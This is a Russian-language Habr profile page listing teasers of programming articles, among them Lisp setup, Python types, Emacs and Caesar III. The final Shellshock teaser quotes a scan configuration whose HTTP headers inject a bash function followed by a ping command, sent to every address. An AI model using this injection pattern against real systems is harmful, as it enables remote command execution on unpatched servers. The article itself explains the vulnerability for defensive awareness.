Pull to refresh
14
0

Инженер-программист

Send message

Настройка SBCL и среды разработки SLIME под Windows. Пошаговое руководство

Reading time9 min
Views22K
В данной статье я подробно опишу как установить и настроить SBCL и окружение для продуктивной разработки под Windows.

Вообще, изначально это была небольшая заметка для коллеги по планируемому мной проекту по анализу и визуализации кода и текстовых данных, но я решил её доработать и превратить в полноценную статью, так как я мало видел руководств подобного рода относительно лиспа, особенно на русском, и особенно касающихся Windows.

Читать дальше →

Python Meetup 28.11.14: пакетирование, печать и баги

Reading time2 min
Views6.6K
Python Meetup MinskВсем привет!
28 ноября состоялась последняя в 2014 году встреча любителей языка программирования Python. Темы в этот раз обсуждались самые что ни на есть хардкорные: пакетирование кода и подготовка к печати документов со сложной структурой. А в рамках «свободного микрофона» была затронута проблема багтрекинга.




Читать дальше →

Компьютер из маленьких фей

Reading time12 min
Views12K
(Вычислительная машина с универсальной архитектурой)

Сказка ложь, да в ней намек…

• Найти Декарта;
• В стране Лилипутов;
• Бактериологическая почта;
• Арифмометр в юбке;
• Компьютер из маленьких фей.

Найти Декарта


До нас дошла история, что известный философ в поисках свободного времени для размышлений и способа решения бытовых трудностей записался в армию. Там, между переходами, он, бывало, забирался в слегка протопленную голландскую печь, где, наконец, мог найти уединение со своими мыслями. Как и многие математики, Декарт питал взаимную слабость к общению с юными особами, одной из которых, чье имя слишком известно, чтобы о нем здесь упоминать, как-то, случайно проезжая мимо лагеря, захотелось повидаться со своим другом-философом. Но как его отыскать? Палаток было больше тысячи – за вечер все не обойдешь, да и титул не позволял. Надеюсь, читатель простит мне некоторые неточности в знании военного уклада, но пусть армия состояла из десяти полков, каждый полк из десяти батальонов, а в каждом батальоне было десять рот по десять человек и ротным во главе.
Читать дальше →

Типы данных наносят ответный удар

Reading time12 min
Views35K
Это вторая часть моих размышлений на тему «Python, каким бы я хотел его видеть», и в ней мы более подробно рассмотрим систему типов. Для этого нам снова придётся углубиться в особенности реализации языка Python и его интерпретатора CPython.

Если вы программист на языке Python, для вас типы данных всегда оставались за кадром. Они где-то там существуют сами по себе и как-то там взаимодействуют друг с другом, но чаще всего вы задумываетесь об их существовании только когда возникает ошибка. И тогда исключение говорит вам, что какой-то из типов данных ведёт себя не так, как вы от него ожидали.

Python всегда гордился своей реализацией системы типов. Я помню, как много лет назад читал документацию, в которой был целый раздел о преимуществах утиной типизации. Давайте начистоту: да, в практических целях утиная типизация — хорошее решение. Если вы ничем не ограничены и нет нужды бороться с типами данных по причине их отсутствия, вы можете создавать очень красивые API. Особенно легко на Python получается решать повседневные задачи.

Практически все API, которые я реализовывал на Python, не работали в других языках программирования. Даже такая простая вещь, как интерфейс для работы с командной строкой (библиотека click) просто не работает в других языках, и основная причина в том, что вам приходится беспрестанно бороться с типами данных.

Не так давно поднимался вопрос добавления статической типизации в Python, и я искренне надеюсь, что лёд, наконец, тронулся. Постараюсь объяснить, почему я против явной типизации, и почему надеюсь, что Python никогда не пойдёт по этому пути.

Читать дальше →

Caesar III: game loop

Reading time27 min
Views69K
Если бы меня спросили, какая часть технической реализации игры «Цезарь» мне интересна больше других, я бы вспомнил о расчете одного «дня» городской жизни. Отдельные компоненты математической модели города тоже интересны в реализации, но эти «шестеренки» будут крутиться только в сборе. Большая часть игры проходит внутри «игрового цикла», в котором проводятся вычисления параметров компонентов, выполняются перемещения игровых объектов, создаются новые события и объекты. Если вам интересно узнать, как была устроена симуляция города в одной из лучших игр 1998 года — добро пожаловать под кат. Описания, псевдокод и схемы помогут вам лучше узнать об используемых алгоритмах.


Читать дальше →

Открытые онлайн-курсы по Python, Linux и… генетике

Reading time2 min
Views72K
10 ноября стартуют три новых онлайн-курса (MOOC) на русском языке: по программированию на Python, операционной системе Linux, молекулярной биологии и генетике. Курсы созданы преподавателями Санкт-Петербургского Института биоинформатики, чем и обусловлено их разнообразие.

Курсы рассчитаны на неподготовленную аудиторию, ведь в институте Python и Linux изучают биологи, а молекулярную биологию – программисты, чтобы потом всем вместе осваивать биоинформатику. Но, даже если вы прекрасно умеете программировать и свободно чувствуете себя в vim, можете посоветовать эти курсы своим студентам или друзьям, либо просто записаться на биологию.

Курсы совершенно бесплатны и останутся доступны для самостоятельного изучения под Creative Commons после окончания. Но те, кто хочет жарких дискуссий в комментариях, оперативных ответов от преподавателей и сертификатов по окончанию, могут поучаствовать в ближайшем запуске с дедлайнами (10 ноября – 8 декабря).


Читать подробнее о содержании курсов

Успокаиваем нервы при помощи Perl и GD

Reading time2 min
Views3K

Предисловие


Я один из тех людей, которые часто подвержены стрессовым ситуациям. Избавиться от стресса можно разными способами. В данном топике я покажу вам, как это делаю я.
Читать дальше →

Зачем нужна мышь, если есть клавиатура?

Reading time3 min
Views61K
image Несмотря на провокационный заголовок, я не стремлюсь разжечь холивар. Я хочу поговорить о не используемом потенциале клавиатуры, о тех вещах, которые помогают повысить производительность программиста и избавят от лишних телодвижений в сторону мыши.
Читать дальше →

Охота на Java-разработчиков: как профессионально расти и стать желанной целью

Reading time7 min
Views84K
image
Двое на этой фотографии через месяц сменили работу на более крутую

Студент, который только учит Java, может получить в Москве больше, чем действующий разработчик. К примеру, в Российском центре разработки Deutsche Bank стипендия колеблется в районе 100 тыс.руб. в месяц — и вас за эти деньги ещё только учат, работа — потом.

Спрос на разработчиков каждый год растёт примерно на 10-15 процентов, а база для образования не справляется. И потребности растут, и текучка большая: ведь в какой-то момент выяснилось, что Java позволяет наиболее индустриально разрабатывать код.

Так вот, сейчас я расскажу, какие есть варианты карьеры в России и за рубежом есть у вас, если вы уже знаете Java или, по крайней мере, у вас есть пара месяцев, чтобы перейти на новый язык и новую среду разработки. За рубежом, кстати, Amazon, Facebook, Twitter и LinkedIn активно нанимают Java-инженеров, специализирующихся на бэкэндах. А у нас — Одноклассники, Deutsche Bank, Oracle, Luxoft, Сбербанк-Технологии, Azul и другие. Пошли, покажу, что и как.
Читать дальше →

Регулярные выражения в расчетах ядерной трансмутации

Reading time12 min
Views4.1K

Введение


Процессы ядерных превращений (трансмутаций) в веществе, происходящие под воздействием нейтронного облучения, представляются особенно важными при выборе материалов, которые используют в качестве конструкционных для широкого круга узлов и устройств ядерных реакторов различного типа. Ядерные трансмутации приводят к изменению химического и изотопного состава, происходит накопление радиоактивных и стабильных продуктов, содержание которых определяет времена безопасной эксплуатации устройств в ядерно–энергетических установках с точки зрения как радиационной, так и функциональной [1, 2].

Моделирование ядерного процесса в виде линейной системы обыкновенных дифференциальных уравнений приводит к задаче дискретной оптимизации схемы нуклидных превращений эвристическими алгоритмами из методов дискретной глобальной и локальной оптимизации с элементами математической теории принятия решений и теории искусственного интеллекта [3,4,5].

В качестве инструментального средства пользователя разработана под Windows XP УНИВЕРСАЛЬНАЯ ПРОГРАММА МЕТРОЛОГА (УПМ). Настоящая версия УПМ предназначена для проведения расчётов эффектов ядерной трансмутации, повреждающей дозы в конструкционных материалах при реакторном облучении с использованием данных БД нейтронно-физических характеристик, химического состава материала и схем нуклидных превращений.

Объём нейтронно-физических данных в созданной для УПМ БД занимает 1,1 Мб. Состоит из 162 записей по энергетическим спектрам нейтронов измеренных или рассчитанных для различных точек и конфигураций исследовательских реакторов. Данные по химическому составу конструкционных материалов составлены на основе реально используемых в облучательных устройствах, в конструкторских элементах исследовательских реакторов (чехлы экранных сборок, оболочки тепловыделяющих элементов и т.д.). Данные по разветвлённым блочным схемам нуклидных превращений обновляются на основе проводимых расчётов ядерной трансмутации.
В расчётах ядерной трансмутации и в основе обработки текстов с результатами расчётов приложение широко использует регулярные выражения. Регулярные выражения предоставляют мощный, гибкий и эффективный метод обработки текста. Обширные возможности сопоставления шаблонов, предоставляемые регулярными выражениями, позволяют быстро анализировать большие объемы текста, проверять текст на соответствие определенным заранее шаблонам (например, формату интегрированных библиотек оценённых ядерных данных по сечениям реакций взаимодействия нейтронов с ядрами атомов ADL-3[6], FENDL-2.0[7], ENDF/B-VII.0[8], и JEFF-3.1.1[9] ), извлекать, изменять, заменять или удалять подстроки текста, а также добавлять извлеченные строки в коллекцию для формирования отчетов.

Для создания научной программы использовались возможности класса System.Text.RegularExpressions.Regex в среде разработки Microsoft VISUAL STUDIO .NET.
Читать дальше →

Внутреннее устройство Linux или как работает Linux

Reading time3 min
Views54K


В течение года мы издали три книги по Linux, которые положительно приняли:

Linux. Установка, настройка, администрирование
Ubuntu и Debian Linux для продвинутых: более 1000 незаменимых команд. 2-е изд.
Linux. Системное программирование. 2-е изд.

Сейчас мы планируем сделать новую книгу и остановились на варианте — How Linux Works: What Every Superuser Should Know. Мы хотим узнать ваше мнение и принять решение делать ли книгу.

Небольшая рецензия на прошлое издание:

Читать дальше →

Насколько программисту нужно знать математику? Что думают в Яндексе

Reading time12 min
Views296K
Почти в каждой школе в кабинете математики висит табличка с высказыванием Ломоносова: «Математику уже затем учить надо, что она ум в порядок приводит». Многим из тех, кто не понимает, что такое программирование, кажется, что писать код — это то же самое, что решать математические задачи, а все программисты — обязательно математики. Но как все обстоит на самом деле? Насколько помогает знание математики в решении практических задач?

Наконец-то мы добрались до одной из самых острых тем и задали нашим коллегам в Яндексе вопрос: «Нужно ли программисту знать математику?»



Под катом, как всегда, полная текстовая версия.
Читать дальше →

История разработки Xenonauts — независимого ремейка X-COM

Reading time18 min
Views58K
Разработка Xenonauts заняла пять лет. На нее ушло в десять раз больше времени и в двадцать раз больше денег, чем я ожидал, но она стала настолько важной частью моей жизни, что мне даже немного жаль, что это путешествие завершилось. С разработкой было связано немало личных рисков. Когда она началась в 2009 году, мне было 22 года и я ничего не знал о разработке игр. Я потратил на этот проект все свои сбережения, значительную часть которых составляло наследство. Моим офисом была моя спальня, я работал над Xenonauts по вечерам и на выходных, после полноценной рабочей недели консультанта в KPMG, включавшей в себя три года экзаменов по бухучету (провал каждого из них привел бы к моему увольнению). К счастью, все закончилось хорошо. Эта статья представляет собой обещанный на Кикстартере дневник, в котором оцениваются все стороны разработки — правильно я поступал или нет. Надеюсь это будет интересно и возможно поможет кому-то избежать моих ошибок.


Читать дальше →

Мой open source велосипед

Reading time4 min
Views18K
“Воин не бросит начатое.”
Мастер Шифу, м.ф. Кунг-фу Панда


Можно рассматривать этот топик не как технический, а как художественный. Тут не будет кусков кода, диаграмм классов и прочей ерунды. Будет история одного java open source проекта, который я разрабатываю уже около года.

Начало


Все началось, когда я был на четвертом курсе одного провинциального российского университета. С семестра, о котором ходили легенды на моей специальности, как о “семестре-убийце“ с его 55-ю лабораторными работами по графике, компиляторам и вычислительной математике (далее ВМ).
Читать дальше →

Emacs для начинающих: введение

Reading time4 min
Views26K

Ist das Emacs? Sehr gut!



Начну с небольшой истории. Лет так 15 назад ездил я на подработку сисадмином программистом в славный городе Mannheim, West Germany. Когда я приехал на работу и развернул своё рабочее окружение, большинство дойчей вообще не сильно поняли в чём я работаю, а вот директор конторы сразу мне сказал: «Ist das Emacs? Sehr gut!», добавив также что никто кто из текущих программистов не смог его освоить. А по честному, не такой уж я особенный — мне просто повезло: готовый конфиг мне дал один добрый человек, и помог мне разобраться с редактором на первых шагах. Я, в свою очередь хочу поделиться своим опытом с остальными, и решил сделать серию статей для начинающих и не очень, с рассмотрением разных полезных фич emacs.

В этой статье я также хочу пошатнуть сложившийся миф — что Emacs — сложный в работе/настройке редактор. Я считаю, что правильно начав, процесс изучения не будет сложным, и надеюсь, доставит Вам массу удовольствия от использования удобного, мощного и быстрого инструмента как в работе так в жизни.
Читать дальше →

Будни разработки Open Source проекта

Reading time10 min
Views4.4K

На недавно прошедшей конференции Application Developer Days 2012 мне довелось прочитать коротенький доклад о том, как создаются Open Source проекты на примере OpenVZ Web Panel. К сожалению, у меня было 10 минут, вместо положенных 30-40 и в результате 80% подготовленного материала оказалось “за бортом”. Организаторы, почему-то в последний момент передумали и убрали даже 5-минутную секцию с вопросами, так что остался без фидбэка. Но не буду сильно наезжать на организаторов — они старались как могли и конференция явно удалась, за что им огромное спасибо. Также очень порадовало и качество большинства докладов.


Теперь к сути топика — хочу выложить полную версию рассказа о том, как создаются Open Source проекты на примере собственного начинания, поделится мыслями и взглядами на разработку подобных проектов, рассказать о внутренней кухне, попробовать предостеречь от типичных ошибок.
Читать дальше →

Приключения в математическом лесу фрактальных деревьев

Reading time8 min
Views37K


Перевод поста Bernat Espigulé Pons, «Adventures into the Mathematical Forest of Fractal Trees».
Скачать перевод в виде документа Mathematica, который содержит весь код использованный в статье, можно здесь.


Без сомнения, золотое сечение и в наше время представляется одним из самых таинственных, волшебных и поразительных чисел, которые известны людям: Prikljuchenija-v-matematicheskom-lesu-fraktalnyh-derevev_1.png. (в языке Wolfram Language и системе Mathematica ему соответствует символ GoldenRatio). Как вы увидите из этого поста, это число действительно имеет множество интересных свойств, которые можно исследовать, причём некоторые из них рассматривались ещё в работах учёных Древней Греции, таких как Пифагор и Евклид, другие в работах итальянского математика Леонардо Пизанского, более известного под прозвищем Фибоначчи, или Иоганном Кеплером — астрономом эпохи Возрождения. Хотя это может прозвучать странно, в этом посте я расскажу вам о новых геометрических объектах, связанных с золотым сечением, которые осветили мне путь, когда я пытался отобразить неизвестную ранее область Математического Леса.
Читать дальше →

Всё, что вы хотели знать об уязвимости Shellshock (но боялись спросить)

Reading time9 min
Views134K
Помните Heartbleed? Shellshock можно отнести к той же «весовой категории», с таким же стильным названием, хоть и без классного логотипа (кому-то из департамента маркетинга этой уязвимости надо бы этим заняться). Но у Shellshock есть потенциал стать не менее важной птицей, чем Heartbleed. И сейчас я хотел бы собрать воедино всю необходимую информацию, которая поможет всем желающим справиться с ситуацией и избежать возможных проблем из-за неочевидной, на первый взгляд, угрозы.

Для начала позвольте поделиться с вами некоторой информацией из блога Роберта Грэма, который провёл превосходный анализ уязвимости. Рассмотрим представленный ниже HTTP-запрос:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Если его применить к диапазону уязвимых IP, то получим такой результат:



Проще говоря, Роберт заставил кучу удалённых машин пинговать его, просто отправив в сеть специально сформированный запрос. Беспокойство вызывает тот факт, что он заставил эти машины выполнить произвольную команду (в данном случае безобидный ping), что открывает широчайшие возможности.
Читать дальше →

Information

Rating
Does not participate
Location
Россия
Registered
Activity